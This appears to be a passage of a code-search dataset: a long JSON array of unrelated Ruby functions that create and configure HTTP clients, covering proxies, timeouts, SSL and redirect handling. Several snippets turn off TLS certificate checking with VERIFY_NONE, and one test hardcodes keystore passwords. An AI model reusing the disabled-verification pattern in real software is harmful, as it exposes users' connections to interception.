resource[:source].port)\n @conn.open_timeout = resource[:http_open_timeout] || nil\n if resource[:source].scheme == 'https'\n @conn.use_ssl = true\n @conn.ca_path = resource[:http_ssl_ca_path] if resource[:http_ssl_ca_path]\n @conn.ca_file = resource[:http_ssl_ca_file] if resource[:http_ssl_ca_file]\n @conn.cert = OpenSSL::X509::Certificate.new(File.read(resource[:http_ssl_cert])) if resource[:http_ssl_cert]\n @conn.key = OpenSSL::PKey::RSA.new(File.read(resource[:http_ssl_key])) if resource[:http_ssl_key]\n @conn.verify_mode = if resource[:http_ssl_verify] === :true\n OpenSSL::SSL::VERIFY_PEER\n else\n OpenSSL::SSL::VERIFY_NONE\n end\n @conn.verify_depth = 5\n end\n @conn\n end","def cache_client\n @m ||= Mutex.new\n @m.synchronize do\n if instance_variable_defined?(:@cache_client)\n @cache_client\n else\n dir = Rails.root.join(CacheDirectory.find_by(name: 'efs_twitter_user')&.dir || 'tmp/efs_cache')\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\n options = {expires_in: 1.month, race_condition_ttl: 5.minutes}\n @cache_client = ActiveSupport::Cache::FileStore.new(dir, options)\n end\n end\n end","def select_http_obj\n if @proxy_server\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\n else\n http = Net::HTTP.new(@url.host, @url.port)\n end\n http.use_ssl=true if @url.class==URI::HTTPS\n if !@verify_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\n end\n http\n end","def open\n @socket = TCPSocket.new(@uri.host, @uri.port)\n\n @ssl = OpenSSL::SSL::SSLSocket.new(@socket, @ssl_context)\n @ssl.sync_close = true\n @ssl.hostname = @uri.hostname\n @ssl.connect\n\n @http = HTTP2::Client.new\n @http.on(:frame) do |bytes|\n @ssl.print(bytes)\n @ssl.flush\n end\n\n @main_queue = Threading::DispatchQueue.new\n @work_queue = Threading::DispatchQueue.new\n @requests = Threading::Counter.new\n @exceptions = Queue.new\n @worker_thread = start_worker_thread!\n end","def close\n # Close the HTTP client:\n @client.close if @client\n end","def close\n # Close the HTTP client:\n @client.close if @client\n end","def http\n @http ||= HTTPClient.new(\n agent_name: \"CPRClient/#{CPRClient::VERSION}\",\n default_header: { 'Content-Type' => 'text/xml' }\n )\n end","def retrieve\n http_class = http_proxy @proxy[:host], @proxy\n\n @_req = http_class.new @uri.host, @uri.port\n\n @_req.read_timeout = @timeout if @timeout\n @_req.use_ssl = true if @uri.scheme =~ /^https$/\n\n elapsed_time = nil\n socket = nil\n socket_io = nil\n\n @_res = @_req.start do |http|\n socket = http.instance_variable_get \"@socket\"\n socket.debug_output = socket_io = StringIO.new\n\n start_time = Time.now\n res = http.request self.http_request, @body\n elapsed_time = Time.now - start_time\n\n res\n end\n\n Kronk.cookie_jar.set_cookies_from_headers @uri.to_s, @_res.to_hash if\n self.use_cookies\n\n @response = Response.new socket_io, @_res, self\n @response.time = elapsed_time\n\n @response\n end","def http\n @http ||= begin\n require 'curb'\n CurbBackend.new(self)\n rescue LoadError, NameError\n warn t(\"install_curb\")\n NetHTTPBackend.new(self)\n end\n end","def get_client(uri, http_type, method)\n return @client\n end","def https_client(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http\n end","def infinite_stream\n Net::HTTP.start(@uri.host, @uri.port, :use_ssl => @uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new @uri\n request['Authorization'] = @header['Authorization'] #applying authentication header obtained by user\n http.request request do |response|\n open @stream_temp_file, 'w' do |io|\n response.read_body do |chunk|\n io.write chunk\n end\n end\n end\n end\n end","def initialize(url:, http_client: T.unsafe(nil)); end","def create_http_connection\n proxy_server = control.proxy_server\n # Proxy returns regular HTTP if @proxy_host is nil (the default)\n http_class = Net::HTTP::Proxy(proxy_server.name, proxy_server.port,\n proxy_server.user, proxy_server.password)\n\n http = http_class.new((@collector.ip || @collector.name), @collector.port)\n if Agent.config[:ssl]\n begin\n # Jruby 1.6.8 requires a gem for full ssl support and will throw\n # an error when use_ssl=(true) is called and jruby-openssl isn't\n # installed\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.ca_file = cert_file_path\n rescue StandardError, LoadError\n msg = \"Agent is configured to use SSL, but SSL is not available in the environment. \"\n msg << \"Either disable SSL in the agent configuration, or install SSL support.\"\n raise UnrecoverableAgentException.new(msg)\n end\n end\n ::NewRelic::Agent.logger.debug(\"Created net/http handle to #{http.address}:#{http.port}\")\n http\n end","def http_get(path, keep_alive = true)\n uri = safe_parse_http_uri(path)\n history = []\n loop do\n logger.debug(\"http_get(#{uri})\")\n\n # keep history of live connections for more efficient redirection.\n host = uri.host\n connection = @connections[host] ||= Rightscale::HttpConnection.new(:logger => logger, :exception => QueryFailed)\n\n # prepare request. ensure path not empty due to Net::HTTP limitation.\n #\n # note that the default for Net::HTTP is to close the connection after\n # each request (contrary to expected conventions). we must be explicit\n # about keep-alive if we want that behavior.\n request = Net::HTTP::Get.new(uri.path)\n request['Connection'] = keep_alive ? 'keep-alive' : 'close'\n @headers.each do |name, value|\n request[name] = value\n end\n\n # get.\n response = connection.request(:protocol => uri.scheme, :server => uri.host, :port => uri.port, :request => request)\n return response.body if response.kind_of?(Net::HTTPSuccess)\n if response.kind_of?(Net::HTTPServerError)\n logger.debug(\"Request failed but can retry; #{response.class.name}\")\n return nil\n elsif response.kind_of?(Net::HTTPRedirection)\n # keep history of redirects.\n history << uri.to_s\n location = response['Location']\n uri = safe_parse_http_uri(location)\n if uri.absolute?\n if history.include?(uri.to_s)\n logger.error(\"Circular redirection to #{location.inspect} detected; giving up\")\n return nil\n elsif history.size >= MAX_REDIRECT_HISTORY\n logger.error(\"Unbounded redirection to #{location.inspect} detected; giving up\")\n return nil\n else\n # redirect and continue in loop.\n logger.debug(\"Request redirected to #{location.inspect}: #{response.class.name}\")\n end\n else\n # can't redirect without an absolute location.\n logger.error(\"Unable to redirect to metadata server location #{location.inspect}: #{response.class.name}\")\n return nil\n end\n else\n # not retryable.\n #\n # log an error and return empty string.\n #\n # note that the EC2 metadata server is known to give malformed\n # responses on rare occasions, but the right_http_connection will\n # consider these to be 'bananas' and retry automatically (up to a\n # pre-defined limit).\n logger.error(\"Request for metadata failed: #{response.class.name}\")\n return \"\"\n end\n end\n end","def new_http(uri)\n if config.http_proxy\n proxy = URI.parse(config.http_proxy)\n Net::HTTP.new(uri.host, uri.port, proxy.host, proxy.port, proxy.user, proxy.password)\n else\n Net::HTTP.new(uri.host, uri.port)\n end\n end","def initialize(options={})\n @debug_dev = options[:debug_dev]\n @autodiscover_url = options[:autodiscover_url]\n\n @http = HTTPClient.new\n @http.force_basic_auth = true # Saves one unathenticated request\n @http.connect_timeout = options[:connect_timeout] || CONNECT_TIMEOUT_DEFAULT\n @http.debug_dev = @debug_dev if @debug_dev\n\n @redirect_count = 0\n end","def send_request(http_client, usecase, meth, uri, req, params, headers, container, counter)\n container.response = http_client.send(meth, uri, params, headers) # booya!\n end","def build_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n if (uri.scheme == 'https')\n http.use_ssl = true\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n OpenSSL.debug = @options[:log_level].to_s.strip.downcase == 'trace'\n else\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n OpenSSL.debug = false\n end\n end\n http.read_timeout = (@options[:read_timeout] || 60).to_i\n http.open_timeout = (@options[:open_timeout] || 60).to_i\n http\n end","def build_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http\n end","def create_http_connection(uri)\n new_http(uri).tap do |http|\n if config.http_timeout\n http.open_timeout = config.http_timeout\n http.read_timeout = config.http_timeout\n end\n configure_ssl(http) if uri.scheme == \"https\"\n end\n end","def stream opts={}, &block\n retried = false\n opts = opts.merge(:request => self)\n\n begin\n start_time = Time.now\n conn = connection\n conn.start unless conn.started?\n conn_time = Time.now - start_time\n\n @response = conn.request http_request, nil, opts, &block\n @response.conn_time = conn_time\n\n @response\n\n rescue EOFError, Errno::EPIPE\n raise if retried\n @connection = nil\n retried = true\n retry\n end\n end","def http_method(ssl, method, client_chunks, server_chunks)\n\n latch1 = Utils::Latch.new(1)\n\n Vertx::internal_go {\n server = HttpServer.new\n if ssl\n server.ssl = true\n server.key_store_path = '../keystores/server-keystore.jks'\n server.key_store_password = 'wibble'\n server.trust_store_path = '../keystores/server-truststore.jks'\n server.trust_store_password = 'wibble'\n server.client_auth_required = true\n end\n\n server.request_handler { |req|\n assert(req.headers['foo'] == 'bar')\n req.response.put_header('wibble', 'quark')\n chunk_count = 0\n req.data_handler { |data|\n assert(\"client-chunk-#{chunk_count}\" == data.to_s)\n chunk_count += 1\n }\n req.response.chunked = true\n req.end_handler {\n for i in 0..server_chunks - 1 do\n req.response.write_str(\"server-chunk-#{i}\")\n end\n req.response.end\n }\n }\n server.listen(8080)\n\n client = HttpClient.new\n client.port = 8080;\n if ssl\n client.ssl = true\n client.key_store_path = '../keystores/client-keystore.jks'\n client.key_store_password = 'wibble'\n client.trust_store_path = '../keystores/client-truststore.jks'\n client.trust_store_password = 'wibble'\n end\n\n request = client.request(method, \"/someurl\") { |resp|\n assert(200 == resp.status_code)\n assert('quark' == resp.headers['wibble'])\n chunk_count = 0\n resp.data_handler { |data|\n assert(\"server-chunk-#{chunk_count}\" == data.to_s)\n chunk_count += 1\n }\n\n resp.end_handler {\n assert(chunk_count = server_chunks)\n server.close {\n client.close\n latch1.countdown\n }\n }\n }\n\n request.chunked = true\n request.put_header('foo', 'bar')\n\n for i in 0..client_chunks - 1 do\n request.write_str(\"client-chunk-#{i}\")\n end\n\n request.end\n }\n\n assert(latch1.await(5))\n\n end","def create_sesame_con\n @os_conn = EventMachine::HttpRequest.new($open_sesame_url)\n end","def http_read_sock(uri, http_method = \"GET\")\n sock = Socket.mogilefs_new_request(uri.host, uri.port,\n \"#{http_method} #{uri.request_uri} HTTP/1.0\\r\\n\\r\\n\",\n @get_file_data_timeout)\n buf = sock.recv_nonblock(4096, Socket::MSG_PEEK)\n head, body = buf.split(/\\r\\n\\r\\n/, 2)\n\n # we're dealing with a seriously slow/stupid HTTP server if we can't\n # get the header in a single read(2) syscall.\n if head =~ %r{\\AHTTP/\\d+\\.\\d+\\s+200\\s*} &&\n head =~ %r{^Content-Length:\\s*(\\d+)}i\n sock.mogilefs_size = $1.to_i\n case http_method\n when \"HEAD\" then sock.close\n when \"GET\" then sock.recv(head.size + 4, 0)\n end\n return sock\n end\n sock.close rescue nil\n raise MogileFS::InvalidResponseError,\n \"#{http_method} on #{uri} returned: #{head.inspect}\"\n end","def initialize(path, subpath = nil, auth: false, client: nil)\n @auth = auth\n @client = client || Plaid.client\n verify_configuration\n\n path = File.join(@client.env, path.to_s)\n path = File.join(path, subpath.to_s) if subpath\n\n @uri = URI.parse(path)\n\n @http = Net::HTTP.new(@uri.host, @uri.port)\n @http.use_ssl = true\n\n @http.read_timeout = Plaid.read_timeout || DEFAULT_TIMEOUT\n end","def http_downloader\n http.timeout(30).max_size(Danbooru.config.max_file_size).use(:spoof_referrer).use(:unpolish_cloudflare)\n end","def setup_http_client(logger: nil)\n proxy = Clients::ProxyClient.from_env\n Clients::HttpClient.new(proxy: proxy, logger: logger)\n end","def execute_http_request(http, request)\n @response = http.request(request)\n @http_headers = {}\nend","def initialize_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http\n end","def http(&block)\n http = Net::HTTP.new(@uri.host, @uri.port)\n if @uri.port == 443\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n return http.start(&block) if block_given?\n http\n end","def load_from_redis_http\n require 'redis'\n redis = Redis.connect\n reload_http_from_redis redis\n end","def async_http\n unless @proxy.empty?\n proxy_opts = @proxy.dup\n proxy_opts[:authorization] = [\n proxy_opts.delete(:username),\n proxy_opts.delete(:password)\n ] if proxy_opts[:username] || proxy_opts[:password]\n end\n\n EventMachine::HttpRequest.new @uri,\n :connect_timeout => @timeout,\n :inactivity_timeout => @timeout,\n :proxy => proxy_opts\n end","def build_http\n http = Net::HTTP.new(@timber_host, @timber_port)\n http.set_debug_output(Config.instance.debug_logger) if Config.instance.debug_logger\n if @timber_scheme == 'https'\n http.use_ssl = true\n # Verification on Windows fails despite having a valid certificate.\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n http.read_timeout = 30\n http.ssl_timeout = 10\n http.open_timeout = 10\n http\n end","def http_get(ctxt, url, cached_path, limit = 10, http = nil)\n # too many redirects...\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n uri = url.is_a?(URI) ? url : URI.parse(url)\n\n local_date = Time.parse(\"1985-10-28\")\n local_date = File.mtime cached_path if File.exists? cached_path\n\n if http.nil?\n Net::HTTP.start uri.hostname, uri.port, :use_ssl => uri.scheme == 'https' do |http|\n return http_get_internal ctxt, uri, cached_path, limit, http, local_date\n end\n else\n return http_get_internal ctxt, uri, cached_path, limit, http, local_date\n end\n end","def start_http(server,path,port,scheme,headers) # :nodoc:\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\n if scheme == \"https\"\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http[server].start\n rescue\n raise OpenStack::Compute::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end","def build_request()\n @http = Net::HTTP.new(@uri.host, @uri.port)\n @http.use_ssl = true\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n end","def prepare_client(host, port, username)\n client = WebHDFS::Client.new(host, port, username)\n client.httpfs_mode = @use_httpfs\n client.open_timeout = @open_timeout\n client.read_timeout = @read_timeout\n client.retry_known_errors = @retry_known_errors\n client.retry_interval = @retry_interval if @retry_interval\n client.retry_times = @retry_times if @retry_times\n client\n end","def make_request(req)\n if @http && @http.address == req.uri.host && !@http.started?\n @http.start\n else\n @http = Net::HTTP.new(req.uri.host, req.uri.port)\n @http.use_ssl = req.ssl?\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE if req.ssl?\n @http.set_debug_output($stderr) if req.debug\n @http.start\n end\n @http.request(req.http_request)\n end","def build_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.set_debug_output($stdout) if @logger.debug?\n if (uri.scheme == 'https')\n http.use_ssl = true\n OpenSSL.debug = @logger.debug?\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\n else\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end\n http.read_timeout=60\n http.open_timeout=60\n http\n end","def init_http\r\n http = Net::HTTP.new(HOST, PORT)\r\n http.use_ssl = true\r\n http.set_debug_output(@parameters.http_debug_stream) if @parameters.http_debug_stream\r\n http\r\n end","def nexus\n client = HTTPClient.new\n client.send_timeout = 600\n client.receive_timeout = 600\n # https://github.com/nahi/httpclient/issues/63\n client.set_auth(nil, configuration['username'], configuration['password'])\n client.www_auth.basic_auth.challenge(configuration['url'])\n client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @ssl_verify\n return client\n end","def with_client\n begin\n @client = client_class.new\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => detail\n puts detail.backtrace if Puppet[:trace]\n Puppet.err \"Could not create instance of #{client_class}: #{detail}\"\n return\n end\n yield @client\n ensure\n @client = nil\n end","def client\n @client ||= Curl::Easy.new\n end","def http host, port=nil\n return @http if (@http && (@http.started?) && (@host == host))\n close if (@http && (@http.started?) && (@host != host))\n @host = host\n @connection_opened_at = Time.now\n Log.info \"Opening HTTP connection for #{@host} at #{@connection_opened_at}\"\n @http = Net::HTTP.new(@host)\n @http.set_debug_output($stderr) if options[:debug_requests]\n @http.start\n end","def _client\n @client ||= XMLRPCClient.new(@uri.host, @uri.path, @uri.port, nil, nil, nil, nil, @uri.scheme == 'https' ? @ssl_verify : false, @timeout)\n end","def build_http(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.set_debug_output($stdout) if trace?\n if (uri.scheme == 'https')\n http.use_ssl = true\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\n else\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end\n http.read_timeout=60\n http.open_timeout=60\n http\n end","def start_http(server,path,port,scheme,headers) # :nodoc:\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\n if scheme == \"https\"\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http[server].start\n rescue\n raise CloudServers::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end","def process(client)\n @request = client.gets\n # wait until server isn't recieving anything\n return if @session.gets.nil?\n return if @session.gets.chop.length.zero?\n\n request_made = HTTPUtils.make_proper_request(client, @request)\n\n return if request_made[:url] == '/favicon.ico' # ignore favicon request\n\n request_to_handle = HTTPUtils.make_request_object(request_made)\n\n handle_request(request_to_handle)\n end","def create_new_http_request\n # Create a new HTTP request instance\n request_spec = @data[:request][:instance]\n http_class = \"Net::HTTP::#{request_spec.verb._camelize}\"\n http_request = http_class._constantize::new(request_spec.path)\n # Set the request body\n if request_spec.is_io?\n http_request.body_stream = request_spec.body\n else\n http_request.body = request_spec.body\n end\n # Copy headers\n request_spec.headers.each { |header, value| http_request[header] = value }\n # Save the new request\n request_spec.raw = http_request\n # Set user-agent\n if @data[:options].has_key?(:connection_user_agent)\n http_request['user-agent'] ||= @data[:options][:connection_user_agent]\n end\n http_request\n end","def with_http_response(url, &block)\n uri = URI(url)\n\n request = Net::HTTP::Get.new(uri)\n request.initialize_http_header(request_headers)\n request_options[:use_ssl] = true\n\n environment_proxy = ignore_env_proxy ? nil : :ENV\n\n Net::HTTP.start(\n uri.host,\n uri.port,\n request_proxy&.host || environment_proxy,\n request_proxy&.port,\n request_proxy&.user,\n request_proxy&.password,\n request_options\n ) do |http|\n http.request(request, &block)\n end\n end","def read\n open(self.path) do |file|\n file.each_line do |uri|\n ImageFetcher::Fetcher::Http.new(uri)\n end\n end\n end","def http_get(path, keep_alive = true)\n uri = safe_parse_http_uri(path)\n history = []\n loop do\n Log.debug(\"http_get(#{uri})\")\n\n # keep history of live connections for more efficient redirection.\n host = uri.host\n connection = Rightscale::HttpConnection.new(:logger => Log, :exception => QueryFailed)\n\n # prepare request. ensure path not empty due to Net::HTTP limitation.\n #\n # note that the default for Net::HTTP is to close the connection after\n # each request (contrary to expected conventions). we must be explicit\n # about keep-alive if we want that behavior.\n request = Net::HTTP::Get.new(uri.path)\n request['Connection'] = keep_alive ? 'keep-alive' : 'close'\n\n # get.\n response = connection.request(:protocol => uri.scheme, :server => uri.host, :port => uri.port, :request => request)\n return response.body if response.kind_of?(Net::HTTPSuccess)\n if response.kind_of?(Net::HTTPServerError) || response.kind_of?(Net::HTTPNotFound)\n Log.debug(\"Request failed but can retry; #{response.class.name}\")\n return nil\n elsif response.kind_of?(Net::HTTPRedirection)\n # keep history of redirects.\n location = response['Location']\n uri = safe_parse_http_uri(location)\n else\n # not retryable.\n #\n # note that the EC2 metadata server is known to give malformed\n # responses on rare occasions, but the right_http_connection will\n # consider these to be 'bananas' and retry automatically (up to a\n # pre-defined limit).\n Log.error(\"HTTP request failed: #{response.class.name}\")\n raise QueryFailed, \"HTTP request failed: #{response.class.name}\"\n end\n end\n end"],"string":"[\n \"def http_client\\n @http_client ||=\\n begin\\n uri = URI(http_request[:url])\\n Net::HTTP.new(uri.host, uri.port).tap { |e| e.read_timeout = dispatch_deadline }\\n end\\n end\",\n \"def recreate_client\\n @http.close\\n create_client\\n end\",\n \"def new_http_client\\n client = Net::HTTP.new(@uri.host, @uri.port)\\n if @uri.scheme == \\\"https\\\"\\n configure_ssl(client)\\n end\\n client\\n end\",\n \"def prepare_http_connection\\n conn = @http\\n if conn.nil? || !options[:persistent]\\n conn = HTTPClient.new(options[:proxy] || self.class.proxy)\\n set_http_connection_options(conn, options)\\n @http = conn # Always set to last used connection\\n end\\n conn\\n end\",\n \"def http_client\\n @http_client ||= @http_adapter.new(@site_url, @connection_options)\\n end\",\n \"def create_http_client\\n c = DefaultHttpClient.new( @connection_manager, @cparams )\\n c.http_request_retry_handler = @retry_handler if @retry_handler\\n c\\n end\",\n \"def http_client\\n client = HTTPClient.new\\n client.connect_timeout = 20 # 20 seconds\\n client.receive_timeout = 20 # 20 seconds\\n client\\n end\",\n \"def http_client uri, proxy = nil, read_timeout = nil, open_timeout = nil\\n @http ||= (\\n http = if proxy\\n proxy_user, proxy_pass = proxy.userinfo.split(/:/) if proxy.userinfo\\n Net::HTTP.Proxy(proxy.host, proxy.port, proxy_user, proxy_pass).new uri.host, uri.port\\n else\\n Net::HTTP.new uri.host, uri.port\\n end\\n http.use_ssl = uri.port == 443 || uri.instance_of?(URI::HTTPS)\\n http.read_timeout = read_timeout if read_timeout\\n http.open_timeout = open_timeout if open_timeout\\n http\\n )\\n end\",\n \"def http\\n # TODO: Deal with proxies and such\\n unless @http\\n @http = HTTPClient.new\\n # TODO: This should be on the class level\\n @http.connect_timeout = ApiResource::Base.open_timeout\\n @http.receive_timeout = ApiResource::Base.timeout\\n end\\n\\n return @http\\n end\",\n \"def init_http_client(options)\\n http = Net::HTTP.new(@base_uri.host, 443)\\n http.use_ssl = true if @base_uri.scheme == \\\"https\\\"\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE # FIXME: not 100% supported\\n self.http_client = http\\n end\",\n \"def http\\n @http ||= create_http\\n end\",\n \"def http\\n @http ||= create_http\\n end\",\n \"def http_client\\n # pass any proxy settings.\\n proxy = Net::HTTP::Proxy(self.class.proxy_host, self.class.proxy_port,\\n self.class.proxy_user, self.class.proxy_pass)\\n http = proxy.new('api.exceptional.io', http_port)\\n\\n # set http client options.\\n http.read_timeout = self.class.http_read_timeout || 5\\n http.open_timeout = self.class.http_open_timeout || 2\\n http.use_ssl = use_ssl?\\n\\n http\\n end\",\n \"def _new_http resource\\n uri = ::URI.parse(resource.auth_uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.use_ssl = true if uri.scheme == 'https'\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n http.read_timeout = 3\\n http.open_timeout = 3\\n http\\nend\",\n \"def _new_http resource\\n uri = ::URI.parse(resource.auth_uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.use_ssl = true if uri.scheme == 'https'\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n http.read_timeout = 3\\n http.open_timeout = 3\\n http\\nend\",\n \"def http_client\\n @conn ||= Net::HTTP.start(EC2_METADATA_ADDR).tap do |h|\\n h.read_timeout = 10\\n h.keep_alive_timeout = 10\\n end\\n end\",\n \"def create_http_conn\\n @http = Net::HTTP.new(@base_uri.host, @base_uri.port)\\n @http.use_ssl = true\\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n @digest_auth = Net::HTTP::DigestAuth.new\\n end\",\n \"def http\\n @http || prepare_http_connection\\n end\",\n \"def close\\n @http_client.reset_all\\n end\",\n \"def close\\n @http_client.reset_all\\n end\",\n \"def http_connection\\n if @in_session\\n establish_shared_connection\\n else\\n create_http_connection\\n end\\n end\",\n \"def http_session\\n if @http_session.nil?\\n uri=self.class.build_uri(@params[:base_url])\\n # this honors http_proxy env var\\n @http_session=Net::HTTP.new(uri.host, uri.port)\\n @http_session.use_ssl = uri.scheme.eql?('https')\\n Log.log.debug(\\\"insecure=#{@@insecure}\\\")\\n @http_session.verify_mode = OpenSSL::SSL::VERIFY_NONE if @@insecure\\n @http_session.set_debug_output($stdout) if @@debug\\n if @params.has_key?(:session_cb)\\n @params[:session_cb].call(@http_session)\\n end\\n # manually start session for keep alive (if supported by server, else, session is closed every time)\\n @http_session.start\\n end\\n return @http_session\\n end\",\n \"def make_http_request(path, options={}, response_proc=nil, &block)\\n start_time = Time.now\\n\\n connection = Net::HTTP.new(@base_uri.host, @base_uri.port)\\n connection.open_timeout = @open_timeout if @open_timeout\\n connection.read_timeout = @read_timeout if @read_timeout\\n if @base_uri.scheme == 'https' then\\n connection.use_ssl = true\\n connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n connection.start do\\n path_as_string = case path\\n when String then '/' + path\\n when Array then '/' + path.join('/')\\n end\\n # remove any trailing string on the base_uri path\\n complete_path = @base_uri.path.gsub(/\\\\/+$/, '') + path_as_string\\n request = yield(complete_path)\\n request.basic_auth(@username, @password)\\n options[:headers].each {|k,v| request[k] = v} if options[:headers]\\n request['Accept'] = 'application/json' if options.fetch(:json, true)\\n log_http_request(request)\\n\\n response =\\n if response_proc\\n connection.request(request, &response_proc)\\n else\\n connection.request(request)\\n end\\n\\n case response\\n when nil\\n log :warn, \\\"No response received\\\"\\n raise HTTPError, \\\"No response received!\\\"\\n when Net::HTTPClientError, Net::HTTPServerError\\n log_http_response(start_time, request, response)\\n raise HTTPError, \\\"#{response.code}: #{response.body}\\\"\\n else\\n log_http_response(start_time, request, response)\\n if options.fetch(:json, true) && response.body\\n\\n # we inject a nasty instance variable to the client so that it\\n # can lazy load any references to other objects - could be done\\n # with thin_models, as this has built in support\\n # for lazy loading attributes\\n deserialized_object = parse_json(response.body) do |instance|\\n instance.instance_variable_set(\\\"@__deserializing_client\\\", self)\\n end\\n\\n deserialized_object.tap do |result|\\n # not sure whether this should include the base_uri path\\n # mung the uri on to the deserialized object - used for equality\\n # and sort of replaces the old path_components property\\n # also, some objects are coming back with a path_components\\n # instance variable - where does that come from?\\n result.respond_to?(:uri=) && result.uri = path_as_string\\n end\\n end\\n end\\n end\\n end\",\n \"def run_http_client(url, req, process_params)\\n\\t\\t\\t\\tbegin\\n\\t\\t\\t\\t\\tparsed_url \\t= URI.parse(URI.escape(CGI::unescape(url)))\\n\\t\\t\\t\\t\\tclient \\t\\t= Rex::Proto::Http::Client.new(parsed_url.host, parsed_url.port, {}, false)\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t(req.unparsed_uri =~ /^#{parsed_url.path}/) ? uri = req.unparsed_uri : uri = parsed_url.path + req.unparsed_uri\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tresp = client.send_recv(client.request_raw(\\n\\t\\t\\t\\t\\t\\t'method'=> req.request_method, \\n\\t\\t\\t\\t\\t\\t'vhost'\\t=> parsed_url.host + ':' + parsed_url.port.to_s,\\n\\t\\t\\t\\t\\t\\t'agent' => req.header['user-agent'][0],\\n\\t\\t\\t\\t\\t\\t'cookie'=> req.cookies[0],\\n\\t\\t\\t\\t\\t\\t'uri'\\t=> process_params ? Rex::Text.to_hex_ascii(uri).gsub(/\\\\\\\\x/, '%') : parsed_url.path,\\n\\t\\t\\t\\t\\t\\t'data' => process_params ? req.body : \\\"\\\"\\n\\t\\t\\t\\t\\t))\\n\\t\\t\\t\\t\\tclient.close\\n\\t\\t\\t\\t\\treturn resp\\n\\t\\t\\t\\trescue\\n\\t\\t\\t\\t\\tprint_error(\\\"Error 1: #{$!}\\\") if (XSSF_MODE[0] =~ /^Debug$/i)\\n\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\tend\\n\\t\\t\\tend\",\n \"def new_http(uri); end\",\n \"def create_http(_url = nil)\\n\\n\\n if !request_endpoint.nil?\\n _url = request_endpoint\\n end\\n\\n\\n if _url.nil? || _url[0] =~ /^\\\\//\\n our_uri = URI.parse(site)\\n else\\n our_uri = URI.parse(_url)\\n end\\n\\n\\n if proxy.nil?\\n http_object = Net::HTTP.new(our_uri.host, our_uri.port)\\n else\\n proxy_uri = proxy.is_a?(URI) ? proxy : URI.parse(proxy)\\n http_object = Net::HTTP.new(our_uri.host, our_uri.port, proxy_uri.host, proxy_uri.port, proxy_uri.user, proxy_uri.password)\\n end\\n\\n http_object.use_ssl = (our_uri.scheme == 'https')\\n\\n if @options[:ca_file] || CA_FILE\\n http_object.ca_file = @options[:ca_file] || CA_FILE\\n http_object.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n http_object.verify_depth = 5\\n else\\n http_object.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n\\n http_object.read_timeout = http_object.open_timeout = @options[:timeout] || 30\\n http_object.open_timeout = @options[:open_timeout] if @options[:open_timeout]\\n\\n http_object\\n end\",\n \"def ensure_client(request)\\n\\n request_params = self.class.request_to_hash(request)\\n\\n #Tests for changes that invalidate the cached HTTPClient\\n if(@@previous_params != request_params)\\n self.class.reset\\n\\n # Set credentials. The driver will negotiate the actual scheme\\n if request_params[:username] && request_params[:password]\\n domain = request.url.match(/^(http(s?):\\\\/\\\\/[^\\\\/]+\\\\/)/i)[1]\\n @@http_client.set_auth(domain, request_params[:username], request_params[:password])\\n end\\n @@http_client.ssl_config.set_trust_ca(request_params[:trust_ca_file]) if request_params[:trust_ca_file]\\n @@http_client.ssl_config.set_client_cert_file(request_params[:client_cert_file],request_params[:client_cert_key_file]) if request_params[:client_cert_file] and request_params[:client_cert_key_file]\\n end\\n\\n @@previous_params = request_params\\n nil\\n end\",\n \"def create_http_connection(uri); end\",\n \"def http_client\\n @http_client ||= 